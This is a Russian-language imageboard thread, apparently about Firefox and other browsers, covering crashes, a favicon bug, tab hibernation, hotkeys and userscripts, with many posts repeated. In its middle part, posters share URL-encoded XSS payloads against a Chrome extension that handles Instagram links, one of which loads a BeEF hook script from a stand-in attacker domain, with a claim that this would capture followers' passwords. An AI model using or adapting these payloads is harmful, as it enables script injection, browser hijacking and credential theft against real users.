протестите кто-нибудь у кого ласт версия http://puu.sh/gako5/14f5f8b4bf.osk у меня при заходе зависает, после тыка на вкладку окно подсвечивается как умершее, на закрытие винда говорит мол процесс умер. с одной стороны еср, с другой в релизнотах никаких fixed crashes on .. download я не нашёл
>>1185835
и не возвращайся
и не возвращайся
174 Кб, 1365x766
>>1185681 >>1185682
Смешно конечно, но твоё поделие никогда бы не сработало. К тому же, его ссылки загружаются во фрейме, и не могут ничего сотворить с основной страницей. Подозреваю, что если бы он открывал сторонние ссылки не во фрейме, то гугл-магазин его бы не пропустил
>>1185693
А в безопасном режиме пробовал? А пробовал переключиться на другую вкладку настроек, закрыть их и снова открыть - будет пустым? А на новом профиле пробовал?
Про безопасный режим и чистый профиль надо бы в шапке упомянуть, а то каждому говорить заебёшься.
>>1185759
Открывается пикрилейтед; в процессе загрузки пару раз подлагивает на 5 секунд, не отвечает. Так всегда бывает с любым браузером, когда открываешь большой текстовый файл. Считаю, что в данном случае проблема на стороне puu.sh, которые не обеспечили в Firefox автоматическую загрузку файла вместо его открытия. Можешь им отрепортить.
Проверить крэши браузеров можно, сделав большой тхт-шник и попытавшись открыть любым браузером. Написать там 1 букву, копипастом удваивать содержание. Если файл будет примерно 20 мб, будет так же лагать.
> '}); $(document)...
Смешно конечно, но твоё поделие никогда бы не сработало. К тому же, его ссылки загружаются во фрейме, и не могут ничего сотворить с основной страницей. Подозреваю, что если бы он открывал сторонние ссылки не во фрейме, то гугл-магазин его бы не пропустил
>>1185693
А в безопасном режиме пробовал? А пробовал переключиться на другую вкладку настроек, закрыть их и снова открыть - будет пустым? А на новом профиле пробовал?
Про безопасный режим и чистый профиль надо бы в шапке упомянуть, а то каждому говорить заебёшься.
>>1185759
Открывается пикрилейтед; в процессе загрузки пару раз подлагивает на 5 секунд, не отвечает. Так всегда бывает с любым браузером, когда открываешь большой текстовый файл. Считаю, что в данном случае проблема на стороне puu.sh, которые не обеспечили в Firefox автоматическую загрузку файла вместо его открытия. Можешь им отрепортить.
Проверить крэши браузеров можно, сделав большой тхт-шник и попытавшись открыть любым браузером. Написать там 1 букву, копипастом удваивать содержание. Если файл будет примерно 20 мб, будет так же лагать.
>>1185904
они просто заголовки не полностью передают
типичная ошибка говнолепов
>которые не обеспечили в Firefox автоматическую загрузку файла вместо его открытия.
они просто заголовки не полностью передают
типичная ошибка говнолепов
>>1185910
Но такую ссылку вообще нельзя сотворить, т.к. адрес ссылки пишешь не ты, а инстаграм.
Но такую ссылку вообще нельзя сотворить, т.к. адрес ссылки пишешь не ты, а инстаграм.
>>1185904
другие файлы такого же вида, и , по идее, так же отдаваемые нормально скачиваются. и разве лиса не должна в любом случае, отличном от получения заголовков утверждающих что это text/html или типа того предлагать сохранить файл?
другие файлы такого же вида, и , по идее, так же отдаваемые нормально скачиваются. и разве лиса не должна в любом случае, отличном от получения заголовков утверждающих что это text/html или типа того предлагать сохранить файл?
>>1185904
Наркоман штоле?
Твитни:
https://instagram.com/p/';});$().ready(function(){alert('NARKOMAN?');href='/
с этой приблудой
>Смешно конечно, но твоё поделие никогда бы не сработало.
Наркоман штоле?
Твитни:
https://instagram.com/p/';});$().ready(function(){alert('NARKOMAN?');href='/
с этой приблудой
Точное сообщение, с рабочим XSS (только что проверил):
https://instagram.com/p/%27%3B%7D%29%3B%24%28%29.ready%28function%28%29%7B%61%6C%65%72%74%28%27hacked!%27%29%3B%68%72%65%66%3D%27/
https://instagram.com/p/%27%3B%7D%29%3B%24%28%29.ready%28function%28%29%7B%61%6C%65%72%74%28%27hacked!%27%29%3B%68%72%65%66%3D%27/
Так что не пиздите - мамкин хакер в треде...
>>1185923 https://osu.ppy.sh/forum/t/226398 http://www.dayzrp.com/t-puu-sh-broken-with-firefox https://twitter.com/diamondo25/status/489357262855888896
Лукс лайк у пуша изначально всё было запущено... На дропбоксе всё загружается, попробуй, ещё захочешь.
>>1185920
Нит
>>1185931
Да Г-споди, я плохо знаком с твиттором, но если там действительно можно писать произвольные ссылки, то тогда да, конечно. Можно пользоваться этой уязвимостью хроможного расширения. К самому твоему "скрипту" я претензии сразу отозвал.
Мне уж стыдно столько постов тратить на эти сторонние обсуждения. Предлагаю темы разработки/CSS/JS обсуждать в закончившихся FX-тредах.
Лукс лайк у пуша изначально всё было запущено... На дропбоксе всё загружается, попробуй, ещё захочешь.
>>1185920
Нит
>>1185931
Да Г-споди, я плохо знаком с твиттором, но если там действительно можно писать произвольные ссылки, то тогда да, конечно. Можно пользоваться этой уязвимостью хроможного расширения. К самому твоему "скрипту" я претензии сразу отозвал.
Мне уж стыдно столько постов тратить на эти сторонние обсуждения. Предлагаю темы разработки/CSS/JS обсуждать в закончившихся FX-тредах.
>>1185940
Да, в твиттере можно писать любые ссылки, без ограничения длины. Для реальной атаки требуется SSL-сертификат и Beef http://www.youtube.com/watch?v=V0H-1FJt4fY на адресе https://your-beef-domain.com/beef.js
После этого посылаем Рамзану Ахматовичу:
https://instagram.com/p/%27%3B%7D%29%3B%24%28%29.ready%28function%28%29%7B$.getScript%28decodeURIComponent%28%27https%5Cu003a%5Cu002f%5Cu002fyour-beef-domain.com%5Cu002fbeef.js%27%29%29;href=%27
и имеем все пароли его подписчиков
Да, в твиттере можно писать любые ссылки, без ограничения длины. Для реальной атаки требуется SSL-сертификат и Beef http://www.youtube.com/watch?v=V0H-1FJt4fY на адресе https://your-beef-domain.com/beef.js
После этого посылаем Рамзану Ахматовичу:
https://instagram.com/p/%27%3B%7D%29%3B%24%28%29.ready%28function%28%29%7B$.getScript%28decodeURIComponent%28%27https%5Cu003a%5Cu002f%5Cu002fyour-beef-domain.com%5Cu002fbeef.js%27%29%29;href=%27
и имеем все пароли его подписчиков
анон посоветуй за мозиллу
у меня дефолтовая (без аддонов)
что-т инспектор совсем уныл
если в хроме я наводил на объект и находил swf (флешку) то в мозилле нет. Приходится открывать исходный код и искать там? ВТФ. это можно фиксануть? или жизнь боль
сяп
у меня дефолтовая (без аддонов)
что-т инспектор совсем уныл
если в хроме я наводил на объект и находил swf (флешку) то в мозилле нет. Приходится открывать исходный код и искать там? ВТФ. это можно фиксануть? или жизнь боль
сяп
490 Кб, 1336x767
>>1186203
Пффф. С бетки сидишь небось?
Пффф. С бетки сидишь небось?
В мозиллотреде дело приближалось к перекату, и нечто заставляло нервничать даже самых стойких завсегдатых. Из разных углов то и дело доносился обеспокоенный шепот - "как же мы без ОПа?", "Кто же запилит нам перекат?". Большинство, как казалось, всё еще думали, что уход ОПа есть временное явление, они надеялись что ближе к 500 посту ОП одумается и вернётся к своему заблудшему стаду. Ведь мозиллатред не может без ОПа, так же как и ОП не может без мозиллатреда. Напряженное ожидание не давало уснуть - через несколько часов определится будущая судьба целой субкультуры лисоблядков и лисоблядей. И он решил взять попкорна и продолжить зоонаблюдения...
>>1186522
+15
+15
133 Кб, 768x960
Есть ли жизнь без кэша?
После отключения кэша при добавления новой закладки её иконка появляется только после первого перехода по ней. Можно ли это пофиксить, не включая кэш?
После отключения кэша при добавления новой закладки её иконка появляется только после первого перехода по ней. Можно ли это пофиксить, не включая кэш?
>>1186536
https://support.mozilla.org/en-US/questions/723859
>не включая кэш
https://support.mozilla.org/en-US/questions/723859
>There's no "cache" for Favicons. They are saved directly in the places.sqlite file, in your Profile folder, with your bookmarks and browser history. There are a few hidden prefs that deal with Favicons, but those prefs are for the display or not of Favicons in the UI - they shouldn't affect the saving of Favicons in the bookmarks file. It is possible that your places.sqlite file is partially corrupt and is causing that problem, but the "fix" involves deleting that file with Firefox closed, so that when you start Firefox a new places.sqlite file will be created. The downside is that all your browsing history will be gone, and all your saved Favicons will also be gone. The bookmark backup file that is used to restore your bookmarks after deleting that file doesn't backup the Favicons.
70 Кб, 656x700
64 Кб, 479x710
>>1186538
>>1186541
ПИЗДОС. Полностью отключил кэш на чистом профиле, с иконками всё в порядке. И вот ведь фиг найдёшь, какая писька его запорола, возможно и через параметр конфига. И ведь специально не ставил комбайны, только ранее использованные перед переходом на оперу, и несколько популярных&простых.
>>1186541
ПИЗДОС. Полностью отключил кэш на чистом профиле, с иконками всё в порядке. И вот ведь фиг найдёшь, какая писька его запорола, возможно и через параметр конфига. И ведь специально не ставил комбайны, только ранее использованные перед переходом на оперу, и несколько популярных&простых.
>>1186544
Попробуй починить при помощи этого: https://addons.mozilla.org/en-US/firefox/addon/places-maintenance/
>фиг найдёшь, какая писька его запорола
Попробуй починить при помощи этого: https://addons.mozilla.org/en-US/firefox/addon/places-maintenance/
>>1186549
слишком комбайн, ничем из него не пользуюсь, нужен просто плеер что бы видео играло, ну и цвета у него блёклые, по сравнению с другими
слишком комбайн, ничем из него не пользуюсь, нужен просто плеер что бы видео играло, ну и цвета у него блёклые, по сравнению с другими
4 Кб, 184x89
300 Кб, 684x626
>>1186545
Бестолку. В безопасном режиме то самое. Хорошо, что этот профиль - тестовый полигон, кек. А я пока не уверен, готов ли я снова окунаться в этот охуительный мир каштомизаций. Если и решусь, то буду бэкапить целую портабельную папку после каждого чиха. Добра.
Бестолку. В безопасном режиме то самое. Хорошо, что этот профиль - тестовый полигон, кек. А я пока не уверен, готов ли я снова окунаться в этот охуительный мир каштомизаций. Если и решусь, то буду бэкапить целую портабельную папку после каждого чиха. Добра.
>>1186550
Так плеер у тебя уже есть и видео уже просто играет. Но ты из-за каких-то собственных тараканов хочешь его выкинуть. Вся суть пердоликов.
Поменяй output на OpenGL.
>слишком комбайн, ничем из него не пользуюсь, нужен просто плеер что бы видео играло
Так плеер у тебя уже есть и видео уже просто играет. Но ты из-за каких-то собственных тараканов хочешь его выкинуть. Вся суть пердоликов.
>цвета у него блёклые
Поменяй output на OpenGL.
>>1186551
Так ты попробовал или нет? Кому-то здесь этот аддон уже помогал починить именно баг в places.sqlite.
>Бестолку
Так ты попробовал или нет? Кому-то здесь этот аддон уже помогал починить именно баг в places.sqlite.
>>1186552
но у меня вялая машинка и если смотреть в mpv, нагрузки на систему куда меньше
нахуй мне держать кучу левых либ и гуи обёртку, если я не пользуюсь этим?
за это спасибо
но у меня вялая машинка и если смотреть в mpv, нагрузки на систему куда меньше
нахуй мне держать кучу левых либ и гуи обёртку, если я не пользуюсь этим?
>OpenGL
за это спасибо
>>1186545
емнип, vlc стримить умеет. можешь запустить в бекграунде, и другим плеером подключиться к стриму VLC на локалхосте
vlc - говнище, бтв
емнип, vlc стримить умеет. можешь запустить в бекграунде, и другим плеером подключиться к стриму VLC на локалхосте
vlc - говнище, бтв
>>1186559
скачай sqlitebrowser, открой файл, и сделай флаш всей таблицы с иконками (сперва забэкапься)
скачай sqlitebrowser, открой файл, и сделай флаш всей таблицы с иконками (сперва забэкапься)
>>1187585
База данных поломана, вот что. Никакая не "писька". Неужели не допетрил ещё? Поэтому в безопасном режиме не сработало. Короче тебе нужно расширение, которое её исправит или пересоздаст в нормальном виде.
Можно попробовать удалить какую-нибудь старую запись из истории и снова попробовать All -> Restart. Ещё попробуй синхронизировать историю со старого профиля на новый, а потом "плохую" БД из старого профиля замени "хорошей" БД из нового.
База данных поломана, вот что. Никакая не "писька". Неужели не допетрил ещё? Поэтому в безопасном режиме не сработало. Короче тебе нужно расширение, которое её исправит или пересоздаст в нормальном виде.
Можно попробовать удалить какую-нибудь старую запись из истории и снова попробовать All -> Restart. Ещё попробуй синхронизировать историю со старого профиля на новый, а потом "плохую" БД из старого профиля замени "хорошей" БД из нового.
>>1189388
А вот нихуя. Это оказалось из-за отключенной истории. Вообще охуеть, да? Добавление в закладки не сохраняет в базу иконки. Видимо, рассчитывают, что она уже там будет благодаря срущей истории. Этот баг я заметил ещё в 4 версии наверное, и успешно забыл. Если имеешь возможность, запости его им на багтрекер. Мне как-то лень это делать для софта, которым уже не пользуюсь, лол.
А вот нихуя. Это оказалось из-за отключенной истории. Вообще охуеть, да? Добавление в закладки не сохраняет в базу иконки. Видимо, рассчитывают, что она уже там будет благодаря срущей истории. Этот баг я заметил ещё в 4 версии наверное, и успешно забыл. Если имеешь возможность, запости его им на багтрекер. Мне как-то лень это делать для софта, которым уже не пользуюсь, лол.
16 Кб, 452x295
14 Кб, 428x261
3 Кб, 200x60
>>1189455
Ты автор того поста >>1186536? Я наверное жопой читал (думал, что он про новые вкладки), и про такое поведение в курсе. От истории это не зависит, кстати. Вот, например: перетаскиваю ссылку на свой пост, в закладки, и она создаётся без иконки, т.к. я не посещал именно тот URL. Есть даже расширение, которое можно включать только когда надо обновить все иконки в базе https://forum.mozilla-russia.org/viewtopic.php?id=47174.
Опять же, это давно известно, я никогда не думал, что это баг (а вдруг какой-то ананас хочет конкретно в момент добавления закладки не обращаться к сайту; да и пофиксить этот "баг" довольно просто - копипастом кода). Но можно попробовать репортнуть.
А на что же неудобное ты перешёл?
Ты автор того поста >>1186536? Я наверное жопой читал (думал, что он про новые вкладки), и про такое поведение в курсе. От истории это не зависит, кстати. Вот, например: перетаскиваю ссылку на свой пост, в закладки, и она создаётся без иконки, т.к. я не посещал именно тот URL. Есть даже расширение, которое можно включать только когда надо обновить все иконки в базе https://forum.mozilla-russia.org/viewtopic.php?id=47174.
Опять же, это давно известно, я никогда не думал, что это баг (а вдруг какой-то ананас хочет конкретно в момент добавления закладки не обращаться к сайту; да и пофиксить этот "баг" довольно просто - копипастом кода). Но можно попробовать репортнуть.
А на что же неудобное ты перешёл?
>>1189470
Внезапно, Opera Next. Самый быстрый из хромовых. Перетаскивание элементов на странице теперь работает со скоростью, близкой к нативной для винды. Кроме прочего, есть гибернация табов, когда табы, на которые давно не переключался, занимают по 4 Кб оперативки, а при переключении, если не успели окончательно выгрузиться, переключение происходит без свопа, вообще. Надо включить вручную в opera:flags, как и многое другое.
Конечно, не без проблем (главная >>1189465), но с ними можно жить. Иногда, тяжеловато. Блджад, у меня бугурт от ее закладок.
Внезапно, Opera Next. Самый быстрый из хромовых. Перетаскивание элементов на странице теперь работает со скоростью, близкой к нативной для винды. Кроме прочего, есть гибернация табов, когда табы, на которые давно не переключался, занимают по 4 Кб оперативки, а при переключении, если не успели окончательно выгрузиться, переключение происходит без свопа, вообще. Надо включить вручную в opera:flags, как и многое другое.
Конечно, не без проблем (главная >>1189465), но с ними можно жить. Иногда, тяжеловато. Блджад, у меня бугурт от ее закладок.
>>1189479
Лол, ты немного себе противоречишь. Но я знаю по лисе:
https://addons.mozilla.org/en-US/firefox/addon/bartab-heavy/ (вроде)
https://addons.mozilla.org/ru/firefox/addon/total-bookmarks/ (какой-то мужик с хабра запилил)
А вот что такое "Перетаскивание элементов на странице" - для меня загадка. Поведай.
Лол, ты немного себе противоречишь. Но я знаю по лисе:
> гибернация табов
https://addons.mozilla.org/en-US/firefox/addon/bartab-heavy/ (вроде)
> для массового распихивания тонн закладок
https://addons.mozilla.org/ru/firefox/addon/total-bookmarks/ (какой-то мужик с хабра запилил)
А вот что такое "Перетаскивание элементов на странице" - для меня загадка. Поведай.
>>1189484
Не! Это_я себе на лисе ввёл хоткеи абсолютно для всего, даже для закрепления вкладок по Ctrl+P и перехода на следующую вкладку, даже для открытия панели "медиа на странице". Но это разумеется расширением. Ещё есть парочка "обычных" расширений, чтобы менять "обычные" хоткеи, конечно... Но изкоробки было бы круче.
Хотя лично мне ни жарко ни холодно от "обычных" действий, незачем для них кнопки переопределять.
Не! Это_я себе на лисе ввёл хоткеи абсолютно для всего, даже для закрепления вкладок по Ctrl+P и перехода на следующую вкладку, даже для открытия панели "медиа на странице". Но это разумеется расширением. Ещё есть парочка "обычных" расширений, чтобы менять "обычные" хоткеи, конечно... Но изкоробки было бы круче.
Хотя лично мне ни жарко ни холодно от "обычных" действий, незачем для них кнопки переопределять.
>>1189483
Лиса не умеет в полное выгружение даже при закрытии вкладки, какая там гибернация. Я перепробовал почти все эти гибернаторы, правда на прежних версиях, их эффект сравнительный с "minimize memory usage", то есть никакой. Повторная загрузка той же вкладки приводила к еще большему потреблению памяти, чем до ее выгрузки.
Самый простой пример: перемещение пикч, плавающей формы и избранного на сосаке, и аналогичный ресайзинг.
Да в лисе и дефолтный менеджер стоит десяти оперовских, лол.
Лиса не умеет в полное выгружение даже при закрытии вкладки, какая там гибернация. Я перепробовал почти все эти гибернаторы, правда на прежних версиях, их эффект сравнительный с "minimize memory usage", то есть никакой. Повторная загрузка той же вкладки приводила к еще большему потреблению памяти, чем до ее выгрузки.
>Перетаскивание элементов на странице
Самый простой пример: перемещение пикч, плавающей формы и избранного на сосаке, и аналогичный ресайзинг.
>для массового распихивания тонн закладок
Да в лисе и дефолтный менеджер стоит десяти оперовских, лол.
>>1189491
Да, помню, там был аддон, добавляющий таб "хоткеи" в настройки. Слишком костыльно это всё.
Идея хрома, как "прошивки для сайтов", не лишены смысла. Никто не заставляет пользоваться его зондами, лол, для этого есть несколько вменяемых форков.
Да, помню, там был аддон, добавляющий таб "хоткеи" в настройки. Слишком костыльно это всё.
Идея хрома, как "прошивки для сайтов", не лишены смысла. Никто не заставляет пользоваться его зондами, лол, для этого есть несколько вменяемых форков.
>>1189503
Значит так, у меня перетаскивание этих форм предельно близко к нативно-виндовскому (различие почти незаметно). Только что проверил в хроме - заметное расхождение положения пикчи и мыши. Из этого такие результаты:
"Drag" пикч и форм контролируется JS, можно скорее заключить, что тут специально прикручено отставание, и тот браузер, который лучше его отображает, - работает лучше (sic!). Хотя разрабы двача могли специально определить отставание для разных браузеров. В общем, это на их ответственности
Тут даже добавить нечего. Мы все дружно ждём e10s (электролиз) мультипроцессовые вкладки как в хроми к концу 2015.
Хах, то есть если этот таб из коробки там находится, - это не костыльно??? Всё же ответь, ты внатуре переопределял нативные хоткеи? (и можно ли там определить хоткей для чего-то ещё, дополнительного?)
Вообще, у меня расширение, которое позволяет исполнять по хоткеям свои куски кода в контексте браузера. В общем, запилить нужный функционал довольно просто, если знать JS; инструкция в итт есть.
Сайт-специфичные хоткеи чтоль? Для этого GreaseMonkey же есть.
Значит так, у меня перетаскивание этих форм предельно близко к нативно-виндовскому (различие почти незаметно). Только что проверил в хроме - заметное расхождение положения пикчи и мыши. Из этого такие результаты:
"Drag" пикч и форм контролируется JS, можно скорее заключить, что тут специально прикручено отставание, и тот браузер, который лучше его отображает, - работает лучше (sic!). Хотя разрабы двача могли специально определить отставание для разных браузеров. В общем, это на их ответственности
> не выгружает
Тут даже добавить нечего. Мы все дружно ждём e10s (электролиз) мультипроцессовые вкладки как в хроми к концу 2015.
> слишком костыльно
Хах, то есть если этот таб из коробки там находится, - это не костыльно??? Всё же ответь, ты внатуре переопределял нативные хоткеи? (и можно ли там определить хоткей для чего-то ещё, дополнительного?)
Вообще, у меня расширение, которое позволяет исполнять по хоткеям свои куски кода в контексте браузера. В общем, запилить нужный функционал довольно просто, если знать JS; инструкция в итт есть.
> Идея хрома, как "прошивки для сайтов", не лишены смысла.
Сайт-специфичные хоткеи чтоль? Для этого GreaseMonkey же есть.
0 Кб, 659x31
>>1189514
Да нет же, лол. Я ни в какую сторону не склоняю.
Я думал, быстрее это будет. В общем, разбудите.
Мозилле, наверное, придется здорово оптимизировать движок, чтобы пустые отдельные вкладки занимали оперативки хотя бы не больше хромовых. Ну, и концепция ФФ, где сайты находятся близко к браузеру, не очень подходит для разделения их теперь на процессы с электролизом (немного наркомании, да, но не лишено смысла).
Хоткеи для переключения вкладок, которых не было в том расширении, например. Переключение в порядке использования вкладок по Ctrl+Tab, аналогично Alt-Tab (еще один дополнительный костыль в ФФ, насколько помню) ША И МАТ, МГАХАХА
Насчет перетягивания. Попробуй перетягнуть пикрелейтед снизу страницы диалога вэкашечке. У меня, например, это вызвало неиллюзорные лаги. tl;dr: В общем, я пришел в выводу, что более оптимизированы плавные переходы в хроме, хотя, там, где они оптимизированы в ФФ, происходят обычно быстрее.
>Сайт-специфичные хоткеи чтоль?
Да нет же, лол. Я ни в какую сторону не склоняю.
>к концу 2015
Я думал, быстрее это будет. В общем, разбудите.
Мозилле, наверное, придется здорово оптимизировать движок, чтобы пустые отдельные вкладки занимали оперативки хотя бы не больше хромовых. Ну, и концепция ФФ, где сайты находятся близко к браузеру, не очень подходит для разделения их теперь на процессы с электролизом (немного наркомании, да, но не лишено смысла).
>Всё же ответь, ты внатуре переопределял нативные хоткеи?
Хоткеи для переключения вкладок, которых не было в том расширении, например. Переключение в порядке использования вкладок по Ctrl+Tab, аналогично Alt-Tab (еще один дополнительный костыль в ФФ, насколько помню) ША И МАТ, МГАХАХА
Насчет перетягивания. Попробуй перетягнуть пикрелейтед снизу страницы диалога вэкашечке. У меня, например, это вызвало неиллюзорные лаги. tl;dr: В общем, я пришел в выводу, что более оптимизированы плавные переходы в хроме, хотя, там, где они оптимизированы в ФФ, происходят обычно быстрее.
3 Кб, 120x102
>>1189531
Но я не понял, что такое "прошивка сайтов"... Ладно, похуй.
[Пикрилейтед] Это делается browser.ctrlTab.previews -> true. Пытался это использовать, но как-то неудобно
В вэка - да, подглючивает. Вообще, у меня давно есть один хороший пример, который плохо грузится в релизе, а в авроре с хромом примерно одинаково, уже несколько версий. Сайт http://map.ipviking.com/ - один из разработчиков даже в багзиллу писал, говорил "мы конечно оптимизировали сайт под хром, но может есть какие-нибудь быстрые хаки для FF?". Ага, быстрые хаки... Единственное, фаерфокс в своей консоли (Ctrl+Shift+K) пишет, что-то вроде "не советуем так объявлять, потому что ваш код будет работать очень медленно".
Но я не понял, что такое "прошивка сайтов"... Ладно, похуй.
> еще один дополнительный костыль в ФФ, насколько помню
[Пикрилейтед] Это делается browser.ctrlTab.previews -> true. Пытался это использовать, но как-то неудобно
В вэка - да, подглючивает. Вообще, у меня давно есть один хороший пример, который плохо грузится в релизе, а в авроре с хромом примерно одинаково, уже несколько версий. Сайт http://map.ipviking.com/ - один из разработчиков даже в багзиллу писал, говорил "мы конечно оптимизировали сайт под хром, но может есть какие-нибудь быстрые хаки для FF?". Ага, быстрые хаки... Единственное, фаерфокс в своей консоли (Ctrl+Shift+K) пишет, что-то вроде "не советуем так объявлять, потому что ваш код будет работать очень медленно".
>>1189545
> не советуем так объявлять
> mutating the [[Prototype]] of an object will cause your code to run very slowly; instead create the object with the correct initial [[Prototype]] value using Object.create
>>1189545
Хотя, и так норм, лол.
Со временем под ФФ могут еще меньше оптимизировать, в связи с уменьшением аудитории. И это печально...
>browser.ctrlTab.previews
>ctrlTab
>каштомизация
Хотя, и так норм, лол.
Со временем под ФФ могут еще меньше оптимизировать, в связи с уменьшением аудитории. И это печально...
>>1189574
Да брось. Сайты кто делает? Задроты какие-нибудь. Линуксоиды. А линуксоиды на чём сидят? На FF! BOW!!!
Да брось. Сайты кто делает? Задроты какие-нибудь. Линуксоиды. А линуксоиды на чём сидят? На FF! BOW!!!
>>1189577
А мне хромовский инспектор нравится, например. Только вот события не показывает настолько удобно. И js не поредактировать "на лету".
Оно даже даже под хромоперой умудряется лагать. Может, дудосеры разбушевались, хотя скорее проц дохлый, лол.
А мне хромовский инспектор нравится, например. Только вот события не показывает настолько удобно. И js не поредактировать "на лету".
Оно даже даже под хромоперой умудряется лагать. Может, дудосеры разбушевались, хотя скорее проц дохлый, лол.
>>1189583
Нет, именно тормозит на всём, кроме хрома, лол. Ну, на нём тоже тормозит, но меньше.
Аврора (не релиз) с аппаратным ускорением примерно так же показывает. Она, кстати, разгружает память, например, с 1,5 Гб на 0,5 Гб если переключиться с тяжёлой вкладки на лёгкую. С кучей вкладок не проверял.
Нет, именно тормозит на всём, кроме хрома, лол. Ну, на нём тоже тормозит, но меньше.
Аврора (не релиз) с аппаратным ускорением примерно так же показывает. Она, кстати, разгружает память, например, с 1,5 Гб на 0,5 Гб если переключиться с тяжёлой вкладки на лёгкую. С кучей вкладок не проверял.
>>1189585
То есть Firefox Developer Edition? Или все же обычная бета, Найтли?
>Mozilla Firefox Aurora is now Firefox Developer Edition
То есть Firefox Developer Edition? Или все же обычная бета, Найтли?
15 Кб, 1365x207
>>1189586
Ну у меня Developer Edition и стоит. Но я думал, что можно как-то обычную аврору поставить...
Он не особо и отличается. Ну да, пара дополнений для подключения устройств и дебага... И прямоугольная тема.
Как-нибудь потом попробую поменять вот этот преф пикрилейтед
Ну у меня Developer Edition и стоит. Но я думал, что можно как-то обычную аврору поставить...
Он не особо и отличается. Ну да, пара дополнений для подключения устройств и дебага... И прямоугольная тема.
Как-нибудь потом попробую поменять вот этот преф пикрилейтед
>>1189587
Традиционно порадовался отличной скорости и низким потреблением памяти чистого ФФ без аддонов (37 Бета). Да, память уменьшается, от 800 с чем-то до 256 Мб после закрытия вкладок. Но ведь ФФ без аддонов даже менее функциональный, чем хромопера, так что без них в любом случае не обойтись.
Вспомнил еще годную фичу: открывая много вкладок одного сайта, его ресурсы как бы шарятся, и в результате общее потребление памяти ниже, чем каждой страницы по отдельности. Электролиз, опять же, может свести на нет это преимущество.
Традиционно порадовался отличной скорости и низким потреблением памяти чистого ФФ без аддонов (37 Бета). Да, память уменьшается, от 800 с чем-то до 256 Мб после закрытия вкладок. Но ведь ФФ без аддонов даже менее функциональный, чем хромопера, так что без них в любом случае не обойтись.
Вспомнил еще годную фичу: открывая много вкладок одного сайта, его ресурсы как бы шарятся, и в результате общее потребление памяти ниже, чем каждой страницы по отдельности. Электролиз, опять же, может свести на нет это преимущество.
>>1189591
Нет же, для этого кэш. У меня хроме ипользует кэш, да и вообще глупо его не использовать. Ну надеюсь, такой глупости они не допустят. К тому же в Nightly уже год можно тестить мультивкладки - наверняка всё работает нормально.
По функциональности можешь посмотреть Maxthone из коробки, но мне он показался каким-то корявым. Самая очевидная корявость - это изменение ширины вкладок при переключении на них, но для этого наверняка есть темы. Ещё там встроенные флэш-объекты неправильно прорисовываются (прямоугольник флэша - всегда на первом плане)
Нет же, для этого кэш. У меня хроме ипользует кэш, да и вообще глупо его не использовать. Ну надеюсь, такой глупости они не допустят. К тому же в Nightly уже год можно тестить мультивкладки - наверняка всё работает нормально.
По функциональности можешь посмотреть Maxthone из коробки, но мне он показался каким-то корявым. Самая очевидная корявость - это изменение ширины вкладок при переключении на них, но для этого наверняка есть темы. Ещё там встроенные флэш-объекты неправильно прорисовываются (прямоугольник флэша - всегда на первом плане)
>>1190080
Макстон прежде всего тормозной, и не совместим со хромовыми расширениями. Ну и зонды китайские. По функционалу же он отличный. Из китайцев есть еще 360Browser Ultra, но он для внутреннего рынка.
Макстон прежде всего тормозной, и не совместим со хромовыми расширениями. Ну и зонды китайские. По функционалу же он отличный. Из китайцев есть еще 360Browser Ultra, но он для внутреннего рынка.
>>1190080
Хотел еще спросить вот, как можно без аддонов изменить хоткеи Ctrl+PgUp/PgDn для переключения вкладок?
Хотел еще спросить вот, как можно без аддонов изменить хоткеи Ctrl+PgUp/PgDn для переключения вкладок?
>>1190505
Нет, это нельзя настроить.
А можно в опере отключить прокрутку страницы по <Space>? Меня в FF это задалбывало, и я поставил то задротское расширение для кода (там нужно было по нажатию <Space> прописать пустой код).
Что характерно, <BackSpace> в Firefox можно настроить изкоробки: сделать либо обычное действие, либо эквивалентное нажатию Shift+Space (=PageUp), либо вообще отключить. Настройку <Space> изкоробки они давно сломали, а жаль.
Нет, это нельзя настроить.
А можно в опере отключить прокрутку страницы по <Space>? Меня в FF это задалбывало, и я поставил то задротское расширение для кода (там нужно было по нажатию <Space> прописать пустой код).
Что характерно, <BackSpace> в Firefox можно настроить изкоробки: сделать либо обычное действие, либо эквивалентное нажатию Shift+Space (=PageUp), либо вообще отключить. Настройку <Space> изкоробки они давно сломали, а жаль.
>>1190521
В настройках этого хоткея не заметил. Наверное, только через юзерскрипт, переопределяющий нажатие пробела. e.preventDefault()
>А можно в опере отключить прокрутку страницы по <Space>?
В настройках этого хоткея не заметил. Наверное, только через юзерскрипт, переопределяющий нажатие пробела. e.preventDefault()
>>1190650
Нет уж. Только через расширения, прогоняющие код в контексте браузера!
Пробовал я скрипт - навешивал на пробел автоматическое начало воспроизведения на bandcamp.com. Проблема в том, что скрипты загружаются по окончании загрузки страницы, ну в общем не сразу. Поэтому можно напороться на случай, когда ты жмёшь пробел, а скрипт ещё не прогрузился.
Но может быть в операх и хроме это лучше... Но нет, не верю, чтобы скрипт исполнялся до загрузки страницы.
Нет уж. Только через расширения, прогоняющие код в контексте браузера!
Пробовал я скрипт - навешивал на пробел автоматическое начало воспроизведения на bandcamp.com. Проблема в том, что скрипты загружаются по окончании загрузки страницы, ну в общем не сразу. Поэтому можно напороться на случай, когда ты жмёшь пробел, а скрипт ещё не прогрузился.
Но может быть в операх и хроме это лучше... Но нет, не верю, чтобы скрипт исполнялся до загрузки страницы.
>>1190652
В стандарте юзерскриптов есть директива @run-at.
Это запустит скрипт буквально сразу, не ожидая загрузки документа:
// @run-at document-start
Такое, скорее всего, не изменишь никак, хардкод ебаный же.
Только теперь заметил внезапный баг в Опере: если на панели закладок есть папки с большим количеством закладок, их открытие приводит к значительному увеличению потребления памяти. Открыть таких несколько, уже +400Мб к главному процессу. Больше полгига вроде не растет уже просто закладок недостаточно, лол
И не стоит забывать об отсутствии вменяемого менеджера закладок.
Последнее: после активного использования, начинаются постоянные мелкие фризы каждую секунду или две, лечатся только рестартом.
Короче, вроде таки собрался перейти на Мозиллу.
Версия 37 Бета 7 кажется нормальной.
>скрипты загружаются по окончании загрузки страницы
В стандарте юзерскриптов есть директива @run-at.
Это запустит скрипт буквально сразу, не ожидая загрузки документа:
// @run-at document-start
>Только через расширения, прогоняющие код в контексте браузера!
Такое, скорее всего, не изменишь никак, хардкод ебаный же.
Только теперь заметил внезапный баг в Опере: если на панели закладок есть папки с большим количеством закладок, их открытие приводит к значительному увеличению потребления памяти. Открыть таких несколько, уже +400Мб к главному процессу. Больше полгига вроде не растет уже просто закладок недостаточно, лол
И не стоит забывать об отсутствии вменяемого менеджера закладок.
